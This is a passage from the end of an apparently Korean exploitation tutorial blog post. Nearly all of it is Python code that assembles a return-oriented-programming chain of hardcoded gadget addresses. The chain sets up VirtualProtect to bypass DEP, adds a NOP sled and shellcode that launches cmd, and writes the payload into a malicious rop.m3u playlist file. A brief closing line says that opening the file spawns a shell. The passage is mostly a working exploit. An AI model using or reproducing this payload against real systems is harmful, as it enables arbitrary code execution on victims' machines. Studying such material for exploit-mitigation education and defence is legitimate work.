# INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param1 += padding # ======== make param2 ====== # param2 = lpaddress ( shellcode address ) rop_param2 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN rop_param2 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param2 += padding rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param2 += padding # ======== make param3 ====== # param3 = 0x300 rop_param3 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN rop_param3 += struct.pack('<L',0x100307A9) # XOR EAX, EAX rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param3 += padding rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param3 += padding rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param3 += padding rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param3 += padding # ========= make param4 ====== # param4 = 0x40 rop_param4 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN rop_param4 += struct.pack('<L',0x100307A9) # XOR EAX, EAX rop_param4 += struct.pack('<L',0x1002dc41) # ADD EAX,40 # POP EBP # RETN rop_param4 += padding rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param4 += padding # ======== jump virtualprotect ======= # rop_virtual_jump = struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET rop_virtual_jump += struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET rop_virtual_jump += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_virtual_jump += struct.pack('<L',0x73d55858) # PUSH EAX # POP ESP # POP EDI # POP ESI # RETN # ======== payload ======== # shellcode ="\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc"

shellcode +="\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0" nops = "\x90" * 260

payload = s + eip + rop0 + rop_jump + \ rop_virtual + rop_ret + rop_lpaddr + rop_size + rop_newprotect + rop_writable + \ rop_param1 + rop_param2 + rop_param3 + rop_param4 + rop_virtual_jump + nops + shellcode

f = open('rop.m3u','w') f.write(payload) f.close()



이 코드를 실행하여 생성된 rop.m3u 파일을 넣고 실행하여 보면 DEP 를 우회하여 쉘이 실행되는 것을 확인할 수 있


다. :)








 ps. 쓰고보니 너무 기네요 . ㅎㅎ 읽느라 수고하셨습니다.

토닥토닥




+ Recent posts